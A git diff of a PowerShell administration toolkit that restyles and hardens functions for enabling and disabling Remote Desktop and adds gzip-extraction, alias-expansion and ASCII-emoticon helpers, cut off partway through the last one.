Write-Warning -Message "[END] Something wrong happening when output the result" - $Error[0].Exception.Message - } - FINALLY - { - # Reset Variable - $StringList = "" - } - } + + [CmdletBinding()] + [OutputType([string])] + param + ( + [Parameter(Mandatory = $true, + ValueFromPipeline = $true)] + [System.Array]$Array, + + [system.string]$Delimiter = "," + ) + + BEGIN { $StringList = "" } + PROCESS { + Write-Verbose -Message "Array: $Array" + foreach ($item in $Array) { + # Adding the current object to the list + $StringList += "$item$Delimiter" + } + Write-Verbose -Message "StringList: $StringList" + } + END { + TRY { + IF ($StringList) { + $lenght = $StringList.Length + Write-Verbose -Message "StringList Lenght: $lenght" + + # Output Info without the last delimiter + $StringList.Substring(0, ($lenght - $($Delimiter.length))) + } + }# TRY + CATCH { + Write-Warning -Message "[END] Something wrong happening when output the result" + $Error[0].Exception.Message + } + FINALLY { + # Reset Variable + $StringList = "" + } + } } \ No newline at end of file diff --git a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.png b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.png new file mode 100644 index 00000000..0700eae7 Binary files /dev/null and b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.png differ diff --git a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 index e18a7821..ad3bad67 100644 --- a/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 +++ b/TOOL-Disable-RemoteDesktop/Disable-RemoteDesktop.ps1 @@ -1,171 +1,168 @@ -function Disable-RemoteDesktop -{ -<# - .SYNOPSIS - The function Disable-RemoteDesktop will disable RemoteDesktop on a local or remote machine. - - .DESCRIPTION - The function Disable-RemoteDesktop will disable RemoteDesktop on a local or remote machine. - - .PARAMETER ComputerName - Specifies the computername - - .PARAMETER Credential - Specifies the credential to use - - .PARAMETER CimSession - Specifies one or more existing CIM Session(s) to use - - .EXAMPLE - PS C:\> Disable-RemoteDesktop -ComputerName DC01 - - .EXAMPLE - PS C:\> Disable-RemoteDesktop -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") - - .EXAMPLE - PS C:\> Disable-RemoteDesktop -CimSession $Session - - .EXAMPLE - PS C:\> Disable-RemoteDesktop -CimSession $Session1,$session2,$session3 - - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com +function Disable-RemoteDesktop { + <# + .SYNOPSIS + The function Disable-RemoteDesktop will disable RemoteDesktop on a local or remote machine. + + .DESCRIPTION + The function Disable-RemoteDesktop will disable RemoteDesktop on a local or remote machine. + + .PARAMETER ComputerName + Specifies the computername + + .PARAMETER Credential + Specifies the credential to use + + .PARAMETER CimSession + Specifies one or more existing CIM Session(s) to use + + .EXAMPLE + PS C:\> Disable-RemoteDesktop -ComputerName DC01 + + .EXAMPLE + PS C:\> Disable-RemoteDesktop -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") + + .EXAMPLE + PS C:\> Disable-RemoteDesktop -CimSession $Session + + .EXAMPLE + PS C:\> Disable-RemoteDesktop -CimSession $Session1,$session2,$session3 + + .NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + github.com/lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] - PARAM ( - [Parameter( - ParameterSetName = "Main", - ValueFromPipeline = $True, - ValueFromPipelineByPropertyName = $True)] - [Alias("CN", "__SERVER", "PSComputerName")] - [String[]]$ComputerName, - - [Parameter(ParameterSetName = "Main")] - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(ParameterSetName = "CimSession")] - [Microsoft.Management.Infrastructure.CimSession[]]$CimSession - ) - BEGIN - { - # Helper Function - function Get-DefaultMessage - { -<# + #Requires -RunAsAdministrator + [CmdletBinding(DefaultParameterSetName = 'CimSession', + SupportsShouldProcess = $true)] + PARAM ( + [Parameter( + ParameterSetName = "Main", + ValueFromPipeline = $True, + ValueFromPipelineByPropertyName = $True)] + [Alias("CN", "__SERVER", "PSComputerName")] + [String[]]$ComputerName, + + [Parameter(ParameterSetName = "Main")] + [Alias("RunAs")] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(ParameterSetName = "CimSession")] + [Microsoft.Management.Infrastructure.CimSession[]]$CimSession + ) + BEGIN { + # Helper Function + function Get-DefaultMessage { + <# .SYNOPSIS - Helper Function to show default message used in VERBOSE/DEBUG/WARNING + Helper Function to show default message used in VERBOSE/DEBUG/WARNING .DESCRIPTION - Helper Function to show default message used in VERBOSE/DEBUG/WARNING - and... HOST in some case. - This is helpful to standardize the output messages - + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + and... HOST in some case. + This is helpful to standardize the output messages + .PARAMETER Message - Specifies the message to show + Specifies the message to show .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin #> - PARAM ($Message) - $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' - $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name - Write-Output "[$DateFormat][$FunctionName] $Message" - }#Get-DefaultMessage - } - PROCESS - { - IF ($PSBoundParameters['CimSession']) - { - FOREACH ($Cim in $CimSession) - { - $CIMComputer = $($Cim.ComputerName).ToUpper() - - TRY - { - # Parameters for Get-CimInstance - $CIMSplatting = @{ - Class = "Win32_TerminalServiceSetting" - NameSpace = "root\cimv2\terminalservices" - CimSession = $Cim - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessGetCimInstance" - } - - # Parameters for Invoke-CimMethod - $CIMInvokeSplatting = @{ - MethodName = "SetAllowTSConnections" - Arguments = @{ - AllowTSConnections = 0; - ModifyFirewallException = 0 - } - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessInvokeCim" - } - - Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - disable Remote Desktop (and Modify Firewall Exception") - Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Something wrong happened") - IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } - IF ($ErrorProcessInvokeCim) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Invoke-CimMethod") } - Write-Warning -Message $Error[0].Exception.Message - } #CATCH - FINALLY - { - $CIMSplatting.Clear() - $CIMInvokeSplatting.Clear() - } - } #FOREACH ($Cim in $CimSessions) - } #IF ($PSBoundParameters['CimSession']) - ELSE - { - FOREACH ($Computer in $ComputerName) - { - $Computer = $Computer.ToUpper() - - TRY - { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") - IF (Test-Connection -Computer $Computer -count 1 -quiet) - { - $Splatting = @{ - Class = "Win32_TerminalServiceSetting" - NameSpace = "root\cimv2\terminalservices" - ComputerName = $Computer - ErrorAction = 'Stop' - ErrorVariable = 'ErrorProcessGetWmi' - } - - IF ($PSBoundParameters['Credential']) - { - $Splatting.credential = $Credential - } - - # disable Remote Desktop - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - disable Remote Desktop") - (Get-WmiObject @Splatting).SetAllowTsConnections(0, 0) | Out-Null - - # Disable requirement that user must be authenticated - #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null - } - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Something wrong happened") - IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject")} - Write-Warning -MEssage $Error[0].Exception.Message - } - FINALLY - { - $Splatting.Clear() - } - }#FOREACH - } #ELSE (Not CIM) - }#PROCESS -}#Function \ No newline at end of file + PARAM ($Message) + $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' + $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name + Write-Output "[$DateFormat][$FunctionName] $Message" + } #Get-DefaultMessage + } + PROCESS { + IF ($PSBoundParameters['CimSession']) { + FOREACH ($Cim in $CimSession) { + $CIMComputer = $($Cim.ComputerName).ToUpper() + + IF ($PSCmdlet.ShouldProcess($CIMComputer, "Disable Remote Desktop via Win32_TerminalServiceSetting")) { + + TRY { + # Parameters for Get-CimInstance + $CIMSplatting = @{ + Class = "Win32_TerminalServiceSetting" + NameSpace = "root\cimv2\terminalservices" + CimSession = $Cim + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessGetCimInstance" + } + + # Parameters for Invoke-CimMethod + $CIMInvokeSplatting = @{ + MethodName = "SetAllowTSConnections" + Arguments = @{ + AllowTSConnections = 0; + ModifyFirewallException = 0 + } + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessInvokeCim" + } + + Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - disable Remote Desktop (and Modify Firewall Exception") + Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting + } + CATCH { + Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Something wrong happened") + IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } + IF ($ErrorProcessInvokeCim) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Invoke-CimMethod") } + Write-Warning -Message $Error[0].Exception.Message + } #CATCH + FINALLY { + $CIMSplatting.Clear() + $CIMInvokeSplatting.Clear() + } + } + } #FOREACH ($Cim in $CimSessions) + } #IF ($PSBoundParameters['CimSession']) + ELSE { + FOREACH ($Computer in $ComputerName) { + $Computer = $Computer.ToUpper() + + IF ($PSCmdlet.ShouldProcess($Computer, "Disable Remote Desktop via Win32_TerminalServiceSetting")) { + + TRY { + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") + IF (Test-Connection -Computer $Computer -count 1 -quiet) { + $Splatting = @{ + Class = "Win32_TerminalServiceSetting" + NameSpace = "root\cimv2\terminalservices" + ComputerName = $Computer + Authentication = 'PacketPrivacy' + ErrorAction = 'Stop' + ErrorVariable = 'ErrorProcessGetWmi' + } + + IF ($PSBoundParameters['Credential']) { + $Splatting.credential = $Credential + } + + # disable Remote Desktop + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - disable Remote Desktop") + (Get-WmiObject @Splatting).SetAllowTsConnections(0, 0) | Out-Null + + # Disable requirement that user must be authenticated + #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null + } + } + CATCH { + Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Something wrong happened") + IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject") } + Write-Warning -MEssage $Error[0].Exception.Message + } + FINALLY { + $Splatting.Clear() + } + } + } #FOREACH + } #ELSE (Not CIM) + } #PROCESS +} #Function diff --git a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 index 73e1624f..a31f9a2b 100644 --- a/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 +++ b/TOOL-Enable-RemoteDesktop/Enable-RemoteDesktop.ps1 @@ -1,171 +1,169 @@ -function Enable-RemoteDesktop -{ -<# - .SYNOPSIS - The function Enable-RemoteDesktop will enable RemoteDesktop on a local or remote machine. - - .DESCRIPTION - The function Enable-RemoteDesktop will enable RemoteDesktop on a local or remote machine. - - .PARAMETER ComputerName - Specifies the computername - - .PARAMETER Credential - Specifies the credential to use - - .PARAMETER CimSession - Specifies one or more existing CIM Session(s) to use - - .EXAMPLE - PS C:\> Enable-RemoteDesktop -ComputerName DC01 - - .EXAMPLE - PS C:\> Enable-RemoteDesktop -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") - - .EXAMPLE - PS C:\> Enable-RemoteDesktop -CimSession $Session - - .EXAMPLE - PS C:\> Enable-RemoteDesktop -CimSession $Session1,$session2,$session3 - - .NOTES - Francois-Xavier Cat - @lazywinadm - www.lazywinadmin.com +function Enable-RemoteDesktop { + <# + .SYNOPSIS + The function Enable-RemoteDesktop will enable RemoteDesktop on a local or remote machine. + + .DESCRIPTION + The function Enable-RemoteDesktop will enable RemoteDesktop on a local or remote machine. + + .PARAMETER ComputerName + Specifies the computername + + .PARAMETER Credential + Specifies the credential to use + + .PARAMETER CimSession + Specifies one or more existing CIM Session(s) to use + + .EXAMPLE + PS C:\> Enable-RemoteDesktop -ComputerName DC01 + + .EXAMPLE + PS C:\> Enable-RemoteDesktop -ComputerName DC01 -Credential (Get-Credential -cred "FX\SuperAdmin") + + .EXAMPLE + PS C:\> Enable-RemoteDesktop -CimSession $Session + + .EXAMPLE + PS C:\> Enable-RemoteDesktop -CimSession $Session1,$session2,$session3 + + .NOTES + Francois-Xavier Cat + @lazywinadmin + lazywinadmin.com + github.com/lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] - PARAM ( - [Parameter( - ParameterSetName = "Main", - ValueFromPipeline = $True, - ValueFromPipelineByPropertyName = $True)] - [Alias("CN", "__SERVER", "PSComputerName")] - [String[]]$ComputerName, - - [Parameter(ParameterSetName = "Main")] - [Alias("RunAs")] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [Parameter(ParameterSetName = "CimSession")] - [Microsoft.Management.Infrastructure.CimSession[]]$CimSession - ) - BEGIN - { - # Helper Function - function Get-DefaultMessage - { -<# + #Requires -RunAsAdministrator + [CmdletBinding(DefaultParameterSetName = 'CimSession', + SupportsShouldProcess = $true)] + param + ( + [Parameter(ParameterSetName = 'Main', + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true)] + [Alias('CN', '__SERVER', 'PSComputerName')] + [String[]]$ComputerName, + + [Parameter(ParameterSetName = 'Main')] + [Alias('RunAs')] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [Parameter(ParameterSetName = 'CimSession')] + [Microsoft.Management.Infrastructure.CimSession[]]$CimSession + ) + + BEGIN { + # Helper Function + function Get-DefaultMessage { + <# .SYNOPSIS - Helper Function to show default message used in VERBOSE/DEBUG/WARNING + Helper Function to show default message used in VERBOSE/DEBUG/WARNING .DESCRIPTION - Helper Function to show default message used in VERBOSE/DEBUG/WARNING - and... HOST in some case. - This is helpful to standardize the output messages - + Helper Function to show default message used in VERBOSE/DEBUG/WARNING + and... HOST in some case. + This is helpful to standardize the output messages + .PARAMETER Message - Specifies the message to show + Specifies the message to show .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin #> - PARAM ($Message) - $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' - $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name - Write-Output "[$DateFormat][$FunctionName] $Message" - }#Get-DefaultMessage - } - PROCESS - { - IF ($PSBoundParameters['CimSession']) - { - FOREACH ($Cim in $CimSession) - { - $CIMComputer = $($Cim.ComputerName).ToUpper() - - TRY - { - # Parameters for Get-CimInstance - $CIMSplatting = @{ - Class = "Win32_TerminalServiceSetting" - NameSpace = "root\cimv2\terminalservices" - CimSession = $Cim - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessGetCimInstance" - } - - # Parameters for Invoke-CimMethod - $CIMInvokeSplatting = @{ - MethodName = "SetAllowTSConnections" - Arguments = @{ - AllowTSConnections = 1; - ModifyFirewallException = 1 - } - ErrorAction = 'Stop' - ErrorVariable = "ErrorProcessInvokeCim" - } - - Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Enable Remote Desktop (and Modify Firewall Exception") - Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Something wrong happened") - IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } - IF ($ErrorProcessInvokeCim) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Invoke-CimMethod") } - Write-Warning -Message $Error[0].Exception.Message - } #CATCH - FINALLY - { - $CIMSplatting.Clear() - $CIMInvokeSplatting.Clear() - } - } #FOREACH ($Cim in $CimSessions) - } #IF ($PSBoundParameters['CimSession']) - ELSE - { - FOREACH ($Computer in $ComputerName) - { - $Computer = $Computer.ToUpper() - - TRY - { - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") - IF (Test-Connection -Computer $Computer -count 1 -quiet) - { - $Splatting = @{ - Class = "Win32_TerminalServiceSetting" - NameSpace = "root\cimv2\terminalservices" - ComputerName = $Computer - ErrorAction = 'Stop' - ErrorVariable = 'ErrorProcessGetWmi' - } - - IF ($PSBoundParameters['Credential']) - { - $Splatting.credential = $Credential - } - - # Enable Remote Desktop - Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - Enable Remote Desktop") - (Get-WmiObject @Splatting).SetAllowTsConnections(1, 1) | Out-Null - - # Disable requirement that user must be authenticated - #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null - } - } - CATCH - { - Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Something wrong happened") - IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject")} - Write-Warning -MEssage $Error[0].Exception.Message - } - FINALLY - { - $Splatting.Clear() - } - }#FOREACH - } #ELSE (Not CIM) - }#PROCESS -}#Function \ No newline at end of file + PARAM ($Message) + $DateFormat = Get-Date -Format 'yyyy/MM/dd-HH:mm:ss:ff' + $FunctionName = (Get-Variable -Scope 1 -Name MyInvocation -ValueOnly).MyCommand.Name + Write-Output "[$DateFormat][$FunctionName] $Message" + } #Get-DefaultMessage + } + PROCESS { + IF ($PSBoundParameters['CimSession']) { + FOREACH ($Cim in $CimSession) { + $CIMComputer = $($Cim.ComputerName).ToUpper() + + IF ($PSCmdlet.ShouldProcess($CIMComputer, "Enable Remote Desktop via Win32_TerminalServiceSetting")) { + + TRY { + # Parameters for Get-CimInstance + $CIMSplatting = @{ + Class = "Win32_TerminalServiceSetting" + NameSpace = "root\cimv2\terminalservices" + CimSession = $Cim + Authentication = 'PacketPrivacy' + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessGetCimInstance" + } + + # Parameters for Invoke-CimMethod + $CIMInvokeSplatting = @{ + MethodName = "SetAllowTSConnections" + Arguments = @{ + AllowTSConnections = 1 + ModifyFirewallException = 1 + } + ErrorAction = 'Stop' + ErrorVariable = "ErrorProcessInvokeCim" + } + + Write-Verbose -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Enable Remote Desktop (and Modify Firewall Exception") + Get-CimInstance @CIMSplatting | Invoke-CimMethod @CIMInvokeSplatting + } + CATCH { + Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - CIMSession - Something wrong happened") + IF ($ErrorProcessGetCimInstance) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Get-CimInstance") } + IF ($ErrorProcessInvokeCim) { Write-Warning -Message (Get-DefaultMessage -Message "$CIMComputer - Issue with Invoke-CimMethod") } + Write-Warning -Message $Error[0].Exception.Message + } #CATCH + FINALLY { + $CIMSplatting.Clear() + $CIMInvokeSplatting.Clear() + } #FINALLY + } #$PSCmdlet.ShouldProcess + } #FOREACH ($Cim in $CimSessions) + } #IF ($PSBoundParameters['CimSession']) + ELSE { + FOREACH ($Computer in $ComputerName) { + $Computer = $Computer.ToUpper() + + IF ($PSCmdlet.ShouldProcess($Computer, "Enable Remote Desktop via Win32_TerminalServiceSetting")) { + TRY { + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Test-Connection") + IF (Test-Connection -Computer $Computer -count 1 -quiet) { + $Splatting = @{ + Class = "Win32_TerminalServiceSetting" + NameSpace = "root\cimv2\terminalservices" + ComputerName = $Computer + Authentication = 'PacketPrivacy' + ErrorAction = 'Stop' + ErrorVariable = 'ErrorProcessGetWmi' + } + + IF ($PSBoundParameters['Credential']) { + $Splatting.credential = $Credential + } + + # Enable Remote Desktop + Write-Verbose -Message (Get-DefaultMessage -Message "$Computer - Get-WmiObject - Enable Remote Desktop") + (Get-WmiObject @Splatting).SetAllowTsConnections(1, 1) | Out-Null + + # Disable requirement that user must be authenticated + #(Get-WmiObject -Class Win32_TSGeneralSetting @Splatting -Filter TerminalName='RDP-tcp').SetUserAuthenticationRequired(0) Out-Null + } + } #TRY + CATCH { + Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Something wrong happened") + IF ($ErrorProcessGetWmi) { Write-Warning -Message (Get-DefaultMessage -Message "$Computer - Issue with Get-WmiObject") } + Write-Warning -MEssage $Error[0].Exception.Message + } #CATCH + FINALLY { + $Splatting.Clear() + } #FINALLY + } #$PSCmdlet.ShouldProcess + } #FOREACH + } #ELSE (Not CIM) + } #PROCESS +} diff --git a/TOOL-Enable-RemoteDesktop/images/Enable-RemoteDesktop.png b/TOOL-Enable-RemoteDesktop/images/Enable-RemoteDesktop.png new file mode 100644 index 00000000..953dca2a Binary files /dev/null and b/TOOL-Enable-RemoteDesktop/images/Enable-RemoteDesktop.png differ diff --git a/TOOL-Expand-GzipFile/Expand-GzipFile.ps1 b/TOOL-Expand-GzipFile/Expand-GzipFile.ps1 new file mode 100644 index 00000000..958d37fe --- /dev/null +++ b/TOOL-Expand-GzipFile/Expand-GzipFile.ps1 @@ -0,0 +1,54 @@ +Function Expand-GZipFile { + <# +.Synopsis + Unzip a gz file +.Description + Unzip a gz file +.Notes + Change History + 1.0 | 2019/03/22 | francois-xavier cat (@lazywinadmin) + based on https://social.technet.microsoft.com/Forums/windowsserver/en-US/5aa53fef-5229-4313-a035-8b3a38ab93f5/unzip-gz-files-using-powershell?forum=winserverpowershell + add comment based help, error handling, missing parameters + rename variables +.Example + Expand-GZipFile -LiteralPath C:\tmp\lazywinadmin-2019.xml.gz -outfile C:\tmp\lazywinadmin-2019.xml + + Will expand the content of C:\tmp\lazywinadmin-2019.xml.gz to C:\tmp\lazywinadmin-2019.xml + +.Example + Expand-GZipFile -LiteralPath C:\tmp\lazywinadmin-2019.xml.gz + + Will expand the content of C:\tmp\lazywinadmin-2019.xml.gz to C:\tmp\lazywinadmin-2019.xml +.LINK + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding()] + Param( + [ValidateScript( { Test-Path -Path $_ })] + [String]$LiteralPath, + $outfile = ($LiteralPath -replace '\.gz$', '') + ) + try { + $FileStreamIn = New-Object -TypeName System.IO.FileStream -ArgumentList $LiteralPath, ([IO.FileMode]::Open), ([IO.FileAccess]::Read), ([IO.FileShare]::Read) + $output = New-Object -TypeName System.IO.FileStream -ArgumentList $outFile, ([IO.FileMode]::Create), ([IO.FileAccess]::Write), ([IO.FileShare]::None) + $GzipStream = New-Object -TypeName System.IO.Compression.GzipStream -ArgumentList $FileStreamIn, ([IO.Compression.CompressionMode]::Decompress) + + # Create Buffer + $buffer = New-Object -TypeName byte[] -ArgumentList 1024 + while ($true) { + $read = $GzipStream.Read($buffer, 0, 1024) + if ($read -le 0) { break } + $output.Write($buffer, 0, $read) + } + + $GzipStream.Close() + $output.Close() + $FileStreamIn.Close() + } + catch { + throw $_ + if ($GzipStream) { $GzipStream.Close() } + if ($output) { $output.Close() } + if ($FileStreamIn) { $FileStreamIn.Close() } + } +} diff --git a/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 new file mode 100644 index 00000000..63bf7200 --- /dev/null +++ b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 @@ -0,0 +1,99 @@ +function Expand-ScriptAlias { + <# + .SYNOPSIS + Function to replace Aliases used in a script by their fullname + + .DESCRIPTION + Function to replace Aliases used in a script by their fullname. + Using PowerShell AST we are able to retrieve the functions and cmdlets used in a script. + + .PARAMETER Path + Specifies the Path to the file. + Alias: FullName + + .EXAMPLE + "C:\LazyWinAdmin\testscript.ps1", "C:\LazyWinAdmin\testscript2.ps1" | Expand-ScriptAlias + + .EXAMPLE + gci C:\LazyWinAdmin -File | Expand-ScriptAlias + + .EXAMPLE + Expand-ScriptAlias -Path "C:\LazyWinAdmin\testscript.ps1" + + .EXAMPLE + "C:\LazyWinAdmin\testscript.ps1", "C:\LazyWinAdmin\testscript2.ps1" | Expand-ScriptAlias -Confirm + + .EXAMPLE + "C:\LazyWinAdmin\testscript.ps1", "C:\LazyWinAdmin\testscript2.ps1" | Expand-ScriptAlias -WhatIf + + What if: Performing the operation "Expand Alias: select to Select-Object (startoffset: 15)" on target "C:\LazyWinAdmin\testscript2.ps1". + What if: Performing the operation "Expand Alias: sort to Sort-Object (startoffset: 10)" on target "C:\LazyWinAdmin\testscript2.ps1". + What if: Performing the operation "Expand Alias: group to Group-Object (startoffset: 4)" on target "C:\LazyWinAdmin\testscript2.ps1". + What if: Performing the operation "Expand Alias: gci to Get-ChildItem (startoffset: 0)" on target "C:\LazyWinAdmin\testscript2.ps1". + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .LINK + https://github.com/lazywinadmin/PowerShell +#> + [CmdletBinding(SupportsShouldProcess, ConfirmImpact = 'Low')] + PARAM ( + [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName)] + [ValidateScript( { Test-Path -Path $_ })] + [Alias('FullName')] + [System.String]$Path + ) + PROCESS { + FOREACH ($File in $Path) { + Write-Verbose -Message '[PROCESS] $File' + + TRY { + # Retrieve file content + $ScriptContent = (Get-Content $File -Delimiter $([char]0)) + + # AST Parsing + $AbstractSyntaxTree = [System.Management.Automation.Language.Parser]:: + ParseInput($ScriptContent, [ref]$null, [ref]$null) + + # Find Aliases + $Aliases = $AbstractSyntaxTree.FindAll( { $args[0] -is [System.Management.Automation.Language.CommandAst] }, $true) | + ForEach-Object -Process { + $Command = $_.CommandElements[0] + if ($Alias = Get-Alias | Where-Object -FilterScript { $_.Name -eq $Command }) { + + # Output information + [PSCustomObject]@{ + File = $File + Alias = $Alias.Name + Definition = $Alias.Definition + StartLineNumber = $Command.Extent.StartLineNumber + EndLineNumber = $Command.Extent.EndLineNumber + StartColumnNumber = $Command.Extent.StartColumnNumber + EndColumnNumber = $Command.Extent.EndColumnNumber + StartOffset = $Command.Extent.StartOffset + EndOffset = $Command.Extent.EndOffset + + }#[PSCustomObject] + }#if ($Alias) + } | Sort-Object -Property EndOffset -Descending + + # The sort-object is important, we change the values from the end first to not lose the positions of every aliases. + Foreach ($Alias in $Aliases) { + # whatif and confirm support + if ($psCmdlet.ShouldProcess($file, "Expand Alias: $($Alias.alias) to $($Alias.definition) (startoffset: $($alias.StartOffset))")) { + # Remove alias and insert full cmldet name + $ScriptContent = $ScriptContent.Remove($Alias.StartOffset, ($Alias.EndOffset - $Alias.StartOffset)).Insert($Alias.StartOffset, $Alias.Definition) + # Apply to the file + Set-Content -Path $File -Value $ScriptContent -Confirm:$false + } + }#ForEach Alias in Aliases + + }#TRY + CATCH { + Write-Error -Message $($Error[0].Exception.Message) + } + }#FOREACH File in Path + }#PROCESS +}#Expand-ScriptAlias \ No newline at end of file diff --git a/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 new file mode 100644 index 00000000..efc2fdb6 --- /dev/null +++ b/TOOL-Get-AsciiReaction/Get-AsciiReaction.ps1 @@ -0,0 +1,97 @@ +function Get-AsciiReaction { + <# + + .SYNOPSIS + + Displays Ascii for different reactions and copies it to clipboard. + + .DESCRIPTION + + Displays Ascii for different reactions and copies it to clipboard. + + .EXAMPLE + + Get-AsciiReaction -Name Shrug + + Displays a shurg and copies it to clipboard. + + .NOTES + + Based on Reddit Thread https://www.reddit.com/r/PowerShell/comments/4aipw5/%E3%83%84/ + and Matt Hodge function: https://github.com/MattHodge/MattHodgePowerShell/blob/master/Fun/Get-Ascii.ps1 + + .LINK + https://github.com/lazywinadmin/PowerShell +#> + [cmdletbinding()] + Param + ( + # Name of the Ascii + [Parameter()] + [ValidateSet( + 'Shrug', + 'Disapproval', + 'TableFlip', + 'TableBack', + 'TableFlip2', + 'TableBack2', + 'TableFlip3', + 'Denko', + 'BlowKiss', + 'Lenny', + 'Angry', + 'DontKnow')] + [string]$Name + ) + + $OutputEncoding = [System.Text.Encoding]::unicode + + # Function to write ascii to screen as well as clipboard it + function Write-Ascii { + [CmdletBinding()] + Param + ( + # Ascii Data + [Parameter(Mandatory = $true, ValueFromPipeline = $true, ValueFromPipelineByPropertyName = $true, Position = 0)] + [string]$Ascii + ) + + # Clips it without the newline + Add-Type -Assembly PresentationCore + $clipText = ($Ascii).ToString() | Out-String -Stream + [Windows.Clipboard]::SetText($clipText) + + Write-Output $clipText + } + + Switch ($Name) { + 'Shrug' { [char[]]@(175, 92, 95, 40, 12484, 41, 95, 47, 175) -join '' | Write-Ascii } + 'Disapproval' { [char[]]@(3232, 95, 3232) -join '' | Write-Ascii } + 